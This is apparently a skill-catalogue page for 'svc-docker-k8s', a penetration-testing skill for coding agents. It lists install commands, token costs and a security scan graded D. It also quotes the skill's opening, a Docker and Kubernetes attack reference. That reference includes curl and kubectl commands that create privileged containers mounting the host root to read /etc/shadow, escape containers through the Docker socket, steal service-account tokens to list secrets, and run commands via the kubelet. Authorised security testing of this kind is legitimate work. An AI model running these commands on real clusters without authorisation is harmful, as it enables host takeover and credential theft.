svc-docker-k8s

svc-docker-k8s is a skill for Claude Code, Codex from s0ld13rr/pentestcode. It costs 85 tokens per session (776 once invoked), scanned D, original, MIT.

A reference for testing Docker and Kubernetes, tools for running and managing containers and workloads. It covers exposed management interfaces, excessive permissions, container escapes, and secret exposure.

In plain words
What is it for?
Checking Docker APIs, Kubernetes APIs, kubelets, etcd, service-account permissions, privileged containers, mounted sockets, and host-escape paths.
Why use it?
It helps identify when container-management endpoints or permissions could let someone control workloads, access the host computer, or read sensitive credentials.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Checking Docker APIs, Kubernetes APIs, kubelets, etcd, service-account permissions, privileged containers, mounted sockets, and host-escape paths.

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Install with agentmods
npx agentmods add skills/s0ld13rr/pentestcode/docker-k8s
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add s0ld13rr/pentestcode --skill docker-k8s
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for svc-docker-k8s

README.md
[![agentmods](https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/docker-k8s/github.svg)](https://agentmods.dev/skills/s0ld13rr/pentestcode/docker-k8s)
Your own site
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/docker-k8s"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/docker-k8s/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for svc-docker-k8s

Your own site · 80×15
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/docker-k8s"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/docker-k8s.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 85 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 776 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00085 $0.00776
Opus 5.5 $0.00034 $0.00310
Sonnet 5.5 $0.00017 $0.00155
Haiku 4.5 $0.00009 $0.00078

Measured 1mo ago against content hash 0ce48fd3cdaa, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade D, and why

svc-docker-k8s scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

-d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}'

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl http://<target>:2375/version
skills/services/docker-k8s/SKILL.md · 91 lines

How it starts

The opening of the file, as written. The whole thing — 91 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Docker & Kubernetes Attack Reference

Docker API (2375/2376)

# Check for exposed Docker daemon
curl http://<target>:2375/version
curl http://<target>:2375/containers/json

# RCE via container creation
curl -X POST http://<target>:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}'

# Then start and read logs
curl -X POST http://<target>:2375/containers/<id>/start
curl http://<target>:2375/containers/<id>/logs?stdout=true

Container Escape

# Check if inside container
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv

# Privileged container escape
fdisk -l                           # can see host disks?
mount /dev/sda1 /mnt && chroot /mnt

# Docker socket mounted
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt

# CVE-2019-5736 (runc <1.0-rc6): overwrite runc binary from container

Kubernetes API (6443/8443)

# Unauthenticated access
curl -k https://<target>:6443/api
curl -k https://<target>:6443/api/v1/namespaces
curl -k https://<target>:6443/api/v1/pods
curl -k https://<target>:8443/version

# With token (from pod service account)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets

# kubelet API (10250)
curl -k https://<target>:10250/pods
curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"

K8s RBAC Abuse

# Check permissions
kubectl auth can-i --list
kubectl auth can-i create pods

# Pod with host mount (if create pods allowed)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  containers:
  - name: pwned
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow"]
    volumeMounts:
    - mountPath: /host
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
EOF

Read the full file on GitHub · 91 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 91 lines · 85 tokens per session scan D 0ce48fd3cdaa

Subscribe to this mod's changes

svc-docker-k8s is a skill published in the GitHub repository s0ld13rr/pentestcode (851 stars, last pushed 15d ago), licensed MIT. It adds 85 tokens to every session and 776 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it D with 3 findings (sends data to an external url, reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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